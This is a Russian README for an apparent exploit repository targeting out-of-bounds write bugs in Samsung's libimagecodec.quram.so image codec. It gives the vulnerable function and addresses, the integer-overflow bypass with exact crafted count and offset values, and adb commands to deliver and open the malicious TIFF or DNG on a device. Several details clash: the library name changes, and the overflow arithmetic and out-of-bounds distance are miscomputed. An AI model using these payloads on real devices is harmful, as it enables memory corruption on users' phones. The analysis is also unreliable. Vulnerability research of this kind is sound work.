
Генерирует специально созданные TIFF/DNG-файлы для инициирования записи за пределами границ буфера в libimagecodec.quram.so от Samsung, включая анализ бинарного файла и шаги воспроизведения.
Этот репозиторий содержит концептуальные файлы Proof-of-Concept (PoC), демонстрирующие уязвимости записи за пределами границ (out-of-bounds, OOB) в библиотеке кодека изображений Quramsoft (libimagecodec.quram.so), используемой на устройствах Samsung под управлением Android.
| CVE | Формат | Тип | Критичность | CVSS 4.0 | Исправлено в |
|---|---|---|---|---|---|
| CVE-2026-21045 | TIFF | Запись за пределами границ (CWE-787) | Критическая | 8.4 | SMR Jul-2026 Release 1 |
| CVE-2026-21048 | DNG | Запись за пределами границ (CWE-787) | Высокая | — | SMR Jul-2026 Release 1 |
/system/lib64/libimagecodec.quram.soУязвимость находится в функции разбора тегов IFD (Image File Directory) WINKJ_ReadExifField (смещение 0x13a0a8 в 64-разрядном бинарном файле). Эта функция обрабатывает отдельные записи IFD TIFF/EXIF, каждая из которых представляет собой 12-байтовую структуру:
Offset Size Field
------ ---- -----
0 2 Tag ID
2 2 Data Type (1=BYTE, 2=ASCII, 3=SHORT, 4=LONG, 5=RATIONAL, etc.)
4 4 Count (number of values)
8 4 Value / Offset to data
Когда count * element_size > 4, 4-байтовое поле Value рассматривается как смещение в файле (указывающее на фактические данные). Затем код выполняет проверку границ по адресу 0x13a258:
add w8, w6, w7 ; w8 = value_offset + (count * element_size) [32-bit]
cmp w8, w5 ; compare against remaining buffer size
b.ls ok ; if w8 <= buffer_size, proceed
Уязвимость представляет собой 32-битное переполнение беззнакового целого при сложении. Если злоумышленник подберёт value_offset и count * element_size так, чтобы их сумма заворачивалась до малого значения, проверка проходит, даже если фактическое обращение к памяти по адресу base + value_offset выходит за границы.
Пример (тип UNDEFINED, element_size = 1):
32-битное сложение 0x17FFF + 0xFFFF0001 = 0x10008000 усекается до 0x8000, что равно buffer_size. Проверка проходит, но фактический указатель на данные (base + 0x17FFF) находится на 0x7FFF байт за концом выделенного буфера.
TIFFReadDirectory / WINKJ_ReadTiffInfo
└─> WINKJ_ReadTiffIFDInfo (allocates IFD buffer)
└─> for each IFD entry:
└─> WINKJ_ReadExifField (parses entry, reads value data)
└─> Switch on Data Type (jump table at 0x13a15c)
├─ Type 0 (BYTE/ASCII/UNDEFINED): handler at 0x13a15c
├─ Type 3/8 (SHORT/SSHORT): handler at 0x13a1d0
├─ Type 4/9/11 (LONG/SLONG/FLOAT): handler at 0x13a17c
└─ Type 5/10/12 (RATIONAL/SRATIONAL/DOUBLE): handler at 0x13a1ac
Each handler -> reads data at offset -> bounds check at 0x13a258
| Файл | Описание |
|---|---|
cve-2026-21045_tiff_oob_poc.py | Создаёт poc_crash.tif — повреждённый TIFF, вызывающий запись за пределами границ через тег ASCII с подделанными count/offset |
cve-2026-21048_dng_oob_poc.py | Создаёт poc_crash.dng — повреждённый DNG, вызывающий запись за пределами границ через тег UNDEFINED с подделанными count/offset |
# Generate TIFF PoC
python3 cve-2026-21045_tiff_oob_poc.py -o payload.tif
# Generate DNG PoC
python3 cve-2026-21048_dng_oob_poc.py -o payload.dng
# Transfer to device and trigger (e.g., via Gallery/MMS)
adb push payload.tif /sdcard/Download/
adb shell am start -a android.intent.action.VIEW -d file:///sdcard/Download/payload.tif -t image/tiff
На непропатченном устройстве (патч безопасности < июля 2026) открытие подготовленного файла TIFF/DNG в Samsung Gallery (или в любом приложении, использующем декодер Quram) должно вызвать повреждение кучи (heap corruption), что потенциально может привести к:
На пропатченном устройстве (SMR Jul-2026+) изображение должно либо отклоняться как недействительное, либо безопасно обрабатываться. Падение на полностью пропатченном устройстве может указывать на отдельную неисправленную проблему.
File: libimagecodec.quram.so (64-bit)
SHA256: (verify against your copy)
NDK: r23c (Android 21)
Built: 2021-12-31 (placeholder date)
Soname: libimagecodec.quram.so
Все типы с element_size = 1 (BYTE, ASCII, UNDEFINED) используют один и тот же обработчик и одинаково уязвимы к обходу через переполнение целого числа.
Эти концептуальные доказательства (proofs of concept) предоставлены исключительно в образовательных целях и для исследований в области безопасности. Они демонстрируют механизм уязвимости, помогая пользователям и разработчикам понять риск. Не используйте их против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
| Поле | Значение (hex) | Десятичное |
|---|
count | 0xFFFF0001 | 4,294,901,761 |
element_size | 1 | 1 |
count * element_size | 0xFFFF0001 ≡ -65535 (mod 2³²) | 4,294,901,761 |
value_offset | 0x00017FFF | 98,303 |
value_offset + count*size | 0x00008000 (переполнение!) | 32,768 |
buffer_size | 0x00008000 | 32,768 |
Результат проверки: 0x8000 <= 0x8000 | ✅ ПРОЙДЕНО | — |
Фактическое обращение к памяти: base + 0x17FFF | 0x7FFF байт за пределами буфера | ❌ OOB |
| Функция | Адрес (64-бит) | Размер | Назначение |
|---|
WINKJ_ReadExifField | 0x13a0a8 | 912 | Разбирает отдельную запись IFD (уязвима) |
WINKJ_ReadTiffIFDInfo | 0x139d28 | 896 | Читает все записи IFD |
WINKJ_ReadTiffInfo | 0x139ad4 | 596 | Анализатор информации TIFF высокого уровня |
WINKJ_GetTiffInfo | 0x1393fc | 1752 | Главная точка входа разбора TIFF |
decodeTIFF | 0x1a2adc | 580 | Декодирует изображение TIFF через libtiff |
getTIFFImageInfo | 0x1a2d20 | 508 | Получает метаданные изображения TIFF |
copySubImageBuffer | 0x0b2824 | 324 | Копирует область субизображения |
TIFFReadDirectory | 0x1aac78 | 5896 | Читатель каталога libtiff 4.6.0 |
_TIFFMultiply32 | 0x1a2f1c | 56 | Безопасная проверка 32-битного умножения |
_TIFFMultiply64 | 0x1a2f58 | 48 | Безопасная проверка 64-битного умножения |
| Тип | Имя | Размер элемента | Адрес обработчика |
|---|
| 1 | BYTE | 1 | 0x13a15c |
| 2 | ASCII | 1 | 0x13a15c |
| 3 | SHORT | 2 | 0x13a1d0 |
| 4 | LONG | 4 | 0x13a17c |
| 5 | RATIONAL | 8 | 0x13a1ac |
| 6 | SBYTE | 1 | 0x13a15c |
| 7 | UNDEFINED | 1 | 0x13a15c |
| 8 | SSHORT | 2 | 0x13a1d0 |
| 9 | SLONG | 4 | 0x13a17c |
| 10 | SRATIONAL | 8 | 0x13a1ac |
| 11 | FLOAT | 4 | 0x13a17c |
| 12 | DOUBLE | 8 | 0x13a1ac |
| CVE | Описание | Статус |
|---|
| CVE-2025-58477 | Запись за пределами границ при разборе тегов IFD в libimagecodec.quram.so (SMR Dec-2025) | ✅ Исправлено |
| CVE-2026-20973 | Чтение за пределами границ в libimagecodec.quram.so (SMR Jan-2026) | ✅ Исправлено |
| CVE-2026-21045 | Запись за пределами границ при разборе TIFF в libimagecodec.media.quram.so (SMR Jul-2026) | ⚠️ У меня не исправлено |
| CVE-2026-21048 | Запись за пределами границ при разборе DNG в libimagecodec.media.quram.so (SMR Jul-2026) | ⚠️ У меня не исправлено |
| CVE-2026-4775 | Переполнение знакового целого в libtiff 4.6.0 putcontig8bitYCbCr44tile | ⚠️ У меня не исправлено |
| CVE-2024-7006 | Разыменование NULL в libtiff tif_dirinfo.c | ✅ Исправлено в 4.6.1 |